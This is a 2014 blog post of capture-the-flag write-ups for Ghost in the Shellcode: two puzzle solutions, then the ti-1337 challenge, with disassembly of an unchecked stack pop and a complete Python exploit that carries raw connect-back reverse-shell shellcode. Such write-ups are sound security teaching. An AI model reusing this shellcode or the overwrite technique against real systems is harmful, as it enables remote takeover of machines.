Tuesday, January 21, 2014

Ghost in the Shellcode 2014 - Trivia

lugkist

:

This problem gave us a file, which when opened with 7zip, gave us the following file:

Find the key.
GVZSNG
AXZIOG
YNAISG
...
AXLSOG

All together there were 62 lines with 6 letters each. Also, we noticed that only sixteen letters were used: A, P, Z, L, G, I, T, Y, E, O, X, U, K, S, V, and N. First we unsuccessfully tried many simple ciphers. After reaching a dead end, we googled "6 letter codes" and noticed that NES Game Genie cheat codes were six letters long and used the same sixteen letters. Running these codes through us a decoder gave a hexadecimal value and address. Sorting the ASCII characters for the values and sorting them by address gave us "Power overwhelming? Back in my day cheats did not have spaces."

Inview



This challenge was a C file given by the competitors. A quick look around a a click on the border of the code revealed that there was extra spacing at the end of the code. No one willing puts extra tabs/newlines/spaces on the end of their code. Copying the entire C file into an online whitespace interpreter produced the winning output: WhitespaceProgrammingIsHard.

-albinotomato

Ghost in the Shellcode 2014 ti-1337

This challenge presented the user with a command line interface calculator using an array to implement a stack. There were several commands that could be sent to the server, however the one command which did not complete a correct check was the pop command represented by the letter 'b'. While the pop implemented a measure to prevent showing new results if it went out of bounds, it did not stop itself from moving up the stack for each 'b' that was sent. The relevant code is in the disassembly below.
.text:00000000004014EE                 push    rbp
.text:00000000004014EF                 mov     rbp, rsp
.text:00000000004014F2                 lea     rax, theStackSize
.text:00000000004014F9                 mov     rax, [rax]
.text:00000000004014FC                 test    rax, rax
.text:00000000004014FF                 js      short maybeEmpty
.text:0000000000401501                 lea     rax, theStackSize
.text:0000000000401508                 mov     rdx, [rax]
.text:000000000040150B                 lea     rax, theStackSize
.text:0000000000401512                 mov     rax, [rax+rdx*8+8]
.text:0000000000401517                 mov     [rbp+var_8], rax
.text:000000000040151B
.text:000000000040151B maybeEmpty:                             ; CODE XREF: pop+11 j
.text:000000000040151B                 lea     rax, theStackSize
.text:0000000000401522                 mov     rax, [rax]
.text:0000000000401525                 lea     rdx, [rax-1]
.text:0000000000401529                 lea     rax, theStackSize
.text:0000000000401530                 mov     [rax], rdx
.text:0000000000401533                 mov     rax, [rbp+var_8]
.text:0000000000401537                 mov     [rbp+var_18], rax
.text:000000000040153B                 movsd   xmm0, [rbp+var_18]
.text:0000000000401540                 pop     rbp
.text:0000000000401541                 retn
.text:0000000000401541 pop             endp
By popping two segments back and putting a number on the stack, we are able to write our shellcode onto the stack. However, since the program is reading in inputs as floating point numbers, our reverse shell needed to be converted to floating point numbers in segments. Python wasn't playing nice with this, so C was used to do the conversion. The relevant code is below.
 void this (long long int y){
12 double x;
11 // printf("0x%lx\n",y);
10 int i;
9 char *xx=&x,*yy=&y;
8 for(i=0;i<8;i++) {
7 memcpy((char*)&xx[i],(char*)&yy[i],1);
6 }
5 printf("\"%.18lg\"\n",x);
4 // scanf("%lg",&x);
3 // memcpy(&y,&x,8);
2 // printf("0x%lx\n",y);
1 // printf("\n\n");
0 }
We pad on to the end to ensure that we hit out shellcode. The winning python script is below.
  import pexpect
import fdpexpect
import sys
import socket
import time
connectBack = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
connectBack += "\xb9\x02\x00\x23\x28\x32\x4c\x8e\xc9\x51\x48\x89\xe6\x6a\x10"
connectBack += "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
connectBack += "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
connectBack += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
connectBack += (8-len(connectBack)%8)*"\x90"

exploit = []
exploit.append("-6.82852703437048257e-229")
exploit.append("-8.5942656633456451e+185")
exploit.append("6.68474035129115045e+91")
exploit.append("9.20412815489135857e-79")
exploit.append("4.94087008802812102e+255")
exploit.append("4.0852036710841077e+40")
exploit.append("2.04296219533742501e+204")
exploit.append("-2.16211186289897248e+46")
exploit.append("-9.47208657532450845e-33")
exploit.append("2.43058597665742808e+204")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
s = socket.socket()
s.connect(("ti-1337.2014.ghostintheshellcode.com",31415))
so = fdpexpect.fdspawn(s)
so.logfile = sys.stdout
so.sendline("b")
so.expect("\n")
for i in range(0,30):
so.sendline("b")
so.expect("\n")
so.sendline("b")
so.expect("\n")
so.sendline(str(exploit[i]))
time.sleep(.1)
so.expect("\n\n\n")
Any questions or comments, feel free to let me know!

--Imp3rial